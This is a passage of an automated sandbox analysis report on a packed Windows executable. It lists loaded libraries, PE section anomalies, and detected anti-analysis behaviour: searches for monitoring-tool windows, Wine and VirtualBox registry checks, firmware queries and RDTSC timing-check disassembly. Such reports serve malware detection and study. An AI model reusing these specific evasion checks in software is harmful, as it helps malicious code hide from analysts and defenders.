Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 1886720 > 1048576

Source: file.exe

Static PE information: Raw size of ajmuuxok is bigger than: 0x100000 < 0x1a1800

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1da60e should be: 0x1d00a7

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: ajmuuxok
Source: file.exe	Static PE information: section name: ilrmrqfy
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0151A24B push edx; retf	0_3_0151A24E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0151A24B push edx; retf	0_3_0151A24E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0151A24B push edx; retf	0_3_0151A24E

Source: file.exe	Static PE information: section name: entropy: 7.983803455666521
Source: file.exe	Static PE information: section name: ajmuuxok entropy: 7.953728091501855

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3C349 second address: D3C361 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pop edx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d jmp 00007F76D47AEA7Bh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3C361 second address: D3C379 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D4BF1B04h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3C379 second address: D3C38D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a jmp 00007F76D47AEA7Ah 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3C38D second address: D3C3A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jne 00007F76D4BF1AF6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnp 00007F76D4BF1AFEh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3C3A1 second address: D3C3AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3B3F8 second address: D3B3FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3B3FC second address: D3B420 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D47AEA80h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jbe 00007F76D47AEA76h 0x00000013 jnl 00007F76D47AEA76h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3B55D second address: D3B579 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b jmp 00007F76D4BF1B00h 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3B579 second address: D3B584 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007F76D47AEA76h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3B584 second address: D3B58A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3B949 second address: D3B96C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jns 00007F76D47AEA7Ch 0x0000000d js 00007F76D47AEA7Ah 0x00000013 pushad 0x00000014 popad 0x00000015 push edi 0x00000016 pop edi 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a push esi 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3B96C second address: D3B972 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3B972 second address: D3B97F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jg 00007F76D47AEA76h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3B97F second address: D3B9A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D4BF1B03h 0x00000007 jmp 00007F76D4BF1B03h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3BAFE second address: D3BB02 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3BB02 second address: D3BB46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F76D4BF1B05h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b ja 00007F76D4BF1AF8h 0x00000011 jmp 00007F76D4BF1B00h 0x00000016 pushad 0x00000017 jmp 00007F76D4BF1AFEh 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3D574 second address: D3D579 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3D579 second address: D3D57F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3D57F second address: D3D58D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a pushad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3D58D second address: D3D593 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3D593 second address: D3D5AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 jng 00007F76D47AEA76h 0x0000000c pop ecx 0x0000000d popad 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jns 00007F76D47AEA78h 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3D88A second address: D3D8A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F76D4BF1AFFh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3D8A1 second address: D3D8BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 mov dword ptr [ebp+122D20A4h], esi 0x0000000e push 00000000h 0x00000010 cmc 0x00000011 push 84D9CE84h 0x00000016 push eax 0x00000017 push edx 0x00000018 push ecx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3D8BC second address: D3D8C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3D8C1 second address: D3D8CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F76D47AEA76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3D8CB second address: D3D98D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D4BF1AFCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b add dword ptr [esp], 7B2631FCh 0x00000012 mov edx, dword ptr [ebp+122D1901h] 0x00000018 mov dword ptr [ebp+122D1901h], eax 0x0000001e push 00000003h 0x00000020 add dword ptr [ebp+122D2591h], ecx 0x00000026 push 00000000h 0x00000028 jne 00007F76D4BF1AFBh 0x0000002e push 00000003h 0x00000030 mov edx, dword ptr [ebp+122D259Fh] 0x00000036 or cx, 3A81h 0x0000003b push 6A4D72E9h 0x00000040 jne 00007F76D4BF1AFEh 0x00000046 add dword ptr [esp], 55B28D17h 0x0000004d push 00000000h 0x0000004f push edi 0x00000050 call 00007F76D4BF1AF8h 0x00000055 pop edi 0x00000056 mov dword ptr [esp+04h], edi 0x0000005a add dword ptr [esp+04h], 00000014h 0x00000062 inc edi 0x00000063 push edi 0x00000064 ret 0x00000065 pop edi 0x00000066 ret 0x00000067 mov dword ptr [ebp+122D2586h], ecx 0x0000006d lea ebx, dword ptr [ebp+12450493h] 0x00000073 push 00000000h 0x00000075 push ecx 0x00000076 call 00007F76D4BF1AF8h 0x0000007b pop ecx 0x0000007c mov dword ptr [esp+04h], ecx 0x00000080 add dword ptr [esp+04h], 0000001Bh 0x00000088 inc ecx 0x00000089 push ecx 0x0000008a ret 0x0000008b pop ecx 0x0000008c ret 0x0000008d mov di, si 0x00000090 xchg eax, ebx 0x00000091 push esi 0x00000092 push eax 0x00000093 push edx 0x00000094 jmp 00007F76D4BF1AFFh 0x00000099 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D60134 second address: D6013A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5E04D second address: D5E051 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5E051 second address: D5E055 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5E4AA second address: D5E4AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5E4AE second address: D5E4B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5E785 second address: D5E794 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F76D4BF1AF6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5E794 second address: D5E79A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5E79A second address: D5E79E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5EA6E second address: D5EA9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jc 00007F76D47AEA8Dh 0x0000000b jmp 00007F76D47AEA87h 0x00000010 pop ecx 0x00000011 pushad 0x00000012 js 00007F76D47AEA7Eh 0x00000018 push eax 0x00000019 pop eax 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5EA9C second address: D5EAB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F76D4BF1B03h 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5EAB7 second address: D5EAC8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D47AEA7Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5EC1F second address: D5EC23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5EC23 second address: D5EC2D instructions: 0x00000000 rdtsc 0x00000002 jc 00007F76D47AEA76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5EF2B second address: D5EF2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5EF2F second address: D5EF42 instructions: 0x00000000 rdtsc 0x00000002 je 00007F76D47AEA76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b jne 00007F76D47AEA76h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5EF42 second address: D5EF4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5EF4B second address: D5EF55 instructions: 0x00000000 rdtsc 0x00000002 je 00007F76D47AEA76h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5F0BE second address: D5F0D9 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F76D4BF1AF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jl 00007F76D4BF1AF8h 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 jng 00007F76D4BF1AFEh 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5F1E9 second address: D5F1F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F76D47AEA76h 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D54321 second address: D5432E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jng 00007F76D4BF1AF6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5432E second address: D54345 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jnc 00007F76D47AEA76h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 je 00007F76D47AEA76h 0x00000016 pop ecx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D54345 second address: D5435D instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F76D4BF1AFEh 0x00000008 push eax 0x00000009 push edx 0x0000000a ja 00007F76D4BF1AF6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D346A8 second address: D346AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D346AC second address: D346BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F76D4BF1AF6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D346BB second address: D346C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5FD33 second address: D5FD3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 pushad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5434F second address: D5435D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 ja 00007F76D47AEA76h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D28E02 second address: D28E23 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jc 00007F76D4BF1AF6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F76D4BF1B01h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D67F9F second address: D67FB1 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jbe 00007F76D47AEA80h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D66D94 second address: D66D98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D66D98 second address: D66D9C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D66D9C second address: D66DA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D66DA6 second address: D66DB7 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 jo 00007F76D47AEA7Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6BDB8 second address: D6BDD7 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007F76D4BF1B09h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6BF25 second address: D6BF5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F76D47AEA76h 0x0000000a popad 0x0000000b push ecx 0x0000000c js 00007F76D47AEA76h 0x00000012 pop ecx 0x00000013 jng 00007F76D47AEA78h 0x00000019 popad 0x0000001a pushad 0x0000001b jmp 00007F76D47AEA86h 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6BF5C second address: D6BF72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F76D4BF1B02h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6D5DE second address: D6D5E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6D656 second address: D6D6C0 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F76D4BF1AFCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xor dword ptr [esp], 1AA7CBE1h 0x00000011 push 00000000h 0x00000013 push edi 0x00000014 call 00007F76D4BF1AF8h 0x00000019 pop edi 0x0000001a mov dword ptr [esp+04h], edi 0x0000001e add dword ptr [esp+04h], 00000019h 0x00000026 inc edi 0x00000027 push edi 0x00000028 ret 0x00000029 pop edi 0x0000002a ret 0x0000002b jmp 00007F76D4BF1AFCh 0x00000030 mov di, bx 0x00000033 call 00007F76D4BF1AF9h 0x00000038 pushad 0x00000039 jnc 00007F76D4BF1AFCh 0x0000003f pushad 0x00000040 push esi 0x00000041 pop esi 0x00000042 pushad 0x00000043 popad 0x00000044 popad 0x00000045 popad 0x00000046 push eax 0x00000047 pushad 0x00000048 push eax 0x00000049 push edx 0x0000004a push eax 0x0000004b push edx 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6D6C0 second address: D6D6C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6D6C4 second address: D6D6E2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jmp 00007F76D4BF1AFCh 0x0000000c pop esi 0x0000000d popad 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push eax 0x00000013 push edx 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6D6E2 second address: D6D6E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6D6E7 second address: D6D6ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
